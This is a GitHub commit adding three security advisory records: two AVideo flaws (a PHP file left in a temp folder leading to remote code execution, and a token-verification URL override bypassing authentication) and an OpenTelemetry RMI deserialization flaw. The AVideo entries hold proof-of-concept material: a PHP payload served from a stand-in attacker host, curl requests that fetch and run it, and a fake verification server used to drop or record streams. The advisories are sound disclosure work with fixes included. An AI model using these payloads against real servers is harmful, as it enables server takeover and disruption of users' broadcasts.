Skip to content

Commit f4a4e10

Browse files
1 parent 5f54917 commit f4a4e10

3 files changed

Lines changed: 195 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8wf4-c4x3-h952",
4+
"modified": "2026-03-25T21:28:38Z",
5+
"published": "2026-03-25T21:28:38Z",
6+
"aliases": [
7+
"CVE-2026-33717"
8+
],
9+
"summary": "AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL",
10+
"details": "## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 — File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES['video']['name'] = basename($downloadURL); // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES['video']['name'];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 — Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n _error_log($msg);\n forbiddenPage($msg); // calls die() — execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) && isContentTypeJson()) {\n // ...\n die(json_encode($obj)); // line 573 — execution terminates\n}\n```\n\n**Step 3 — Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 — No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 — Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to >=20KB to pass the minimum size check\npython3 -c \"\npayload = b'<?php echo \\\"RCE:\\\".php_uname(); ?>'\npadding = b'\\n' + b'/' * (20001 - len(payload))\nopen('shell.php', 'wb').write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 — Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \\\n -d 'user=uploader_username' \\\n -d 'pass=uploader_password' \\\n -d 'format=mp4' \\\n -d 'downloadURL=https://attacker.example.com/shell.php' \\\n -d 'resolution=9999'\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 — Access the persisted PHP file:**\n\n```bash\ncurl 'https://target.example.com/videos/cache/tmpFile/shell.php'\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise — read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n global $global, $obj;\n $downloadURL = trim($downloadURL);\n\n // ... existing SSRF check ...\n\n // NEW: Validate the file extension against allowed extensions\n $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n if (!in_array($urlExtension, $global['allowedExtension'])) {\n __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n return false;\n }\n\n // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) — Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST['resolution'])) {\n if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n _error_log($msg);\n forbiddenPage($msg);\n }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n<FilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\">\n Require all denied\n</FilesMatch>\nphp_flag engine off\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33717"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-434"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T21:28:38Z",
63+
"nvd_published_at": "2026-03-23T19:16:42Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9hv9-gvwm-95f2",
4+
"modified": "2026-03-25T21:28:21Z",
5+
"published": "2026-03-25T21:28:21Z",
6+
"aliases": [
7+
"CVE-2026-33716"
8+
],
9+
"summary": "AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php",
10+
"details": "## Summary\n\nThe standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.\n\n## Details\n\nThe vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:\n\n**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:\n```php\nif (!empty($_REQUEST['streamerURL'])) {\n $streamerURL = $_REQUEST['streamerURL'];\n}\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:\n```php\n$obj->streamerURL = $streamerURL;\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:\n```php\n$verifyTokenURL = \"{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}\";\n// ...\n$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));\n```\n\nThe legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{\"error\": false}`.\n\nAfter authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.\n\nSSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.\n\nNotably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *\"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF.\"* The same fix was not applied to `control.json.php`.\n\n## PoC\n\n**Step 1:** Set up an attacker server that returns `{\"error\": false}` for all requests.\n\n```bash\n# Minimal Python server on attacker machine (attacker.example.com:8888)\npython3 -c '\nimport http.server, json\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\",\"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"error\": False}).encode())\n def log_message(self, *a): pass\nhttp.server.HTTPServer((\"0.0.0.0\", 8888), H).serve_forever()\n'\n```\n\n**Step 2:** Drop a victim's live stream (kill their broadcast):\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\nExpected response (authentication bypassed, command executed):\n```json\n{\"error\":false,\"msg\":\"\",\"streamerURL\":\"http://attacker.example.com:8888/\",\"token\":\"anything\",\"command\":\"drop_publisher\",\"app\":\"live\",\"name\":\"VICTIM_STREAM_KEY\",\"response\":\"\",\"requestedURL\":\"http://localhost:8080/control/drop/publisher?app=live&name=VICTIM_STREAM_KEY\"}\n```\n\n**Step 3:** Start unauthorized recording of a victim's stream:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\n**Step 4:** Probe whether a stream name is active:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=is_recording&name=GUESS_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/\"\n```\n\n## Impact\n\n- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.\n- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.\n- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.\n- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.\n- **No authentication required:** The entire attack is performed without any credentials.\n\n## Recommended Fix\n\nRemove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:\n\n```php\n// BEFORE (vulnerable):\nif (!empty($_REQUEST['streamerURL'])) {\n $streamerURL = $_REQUEST['streamerURL'];\n}\n\n// AFTER (fixed):\n// SECURITY: User-supplied streamerURL is intentionally NOT accepted.\n// Allowing it would enable authentication bypass and SSRF via file_get_contents\n// on an attacker-controlled host. streamerURL MUST come from the configuration\n// file or be hard-coded in this file above.\nif (empty($streamerURL)) {\n error_log(\"control.json.php: streamerURL is not configured\");\n die(json_encode(['error' => true, 'msg' => 'Server not configured']));\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9hv9-gvwm-95f2"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33716"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/388fcd57dbd16f6cb3ebcdf1d08cf2b929941128"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-287"
59+
],
60+
"severity": "CRITICAL",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T21:28:21Z",
63+
"nvd_published_at": "2026-03-23T19:16:42Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xw7x-h9fj-p2c7",
4+
"modified": "2026-03-25T21:27:43Z",
5+
"published": "2026-03-25T21:27:43Z",
6+
"aliases": [
7+
"CVE-2026-33701"
8+
],
9+
"summary": "OpenTelemetry: Unsafe Deserialization in RMI Instrumentation may Lead to Remote Code Execution",
10+
"details": "In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. An attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability:\n1. OpenTelemetry Java instrumentation is attached as a Java agent (`-javaagent`)\n2. An RMI endpoint is network-reachable (e.g. JMX remote port, an RMI registry, or any application-exported RMI service)\n3. A gadget-chain-compatible library is present on the classpath\n\n### Impact\nArbitrary remote code execution with the privileges of the user running the instrumented JVM.\n\n### Recommendation\nUpgrade to version 2.26.1 or later.\n\n### Workarounds\nSet the following system property to disable the RMI integration:\n\n```\n-Dotel.instrumentation.rmi.enabled=false\n```\n\n### Credits\nThis vulnerability was responsibly disclosed in coordination with Datadog.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "io.opentelemetry.javaagent:opentelemetry-javaagent"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.26.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-telemetry/opentelemetry-java-instrumentation/security/advisories/GHSA-xw7x-h9fj-p2c7"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/open-telemetry/opentelemetry-java-instrumentation/commit/9cf4fbaaa9e79226142b2ed42a6f6b4ac0be2197"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/open-telemetry/opentelemetry-java-instrumentation"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/open-telemetry/opentelemetry-java-instrumentation/releases/tag/v2.26.1"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-502"
59+
],
60+
"severity": "CRITICAL",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T21:27:43Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)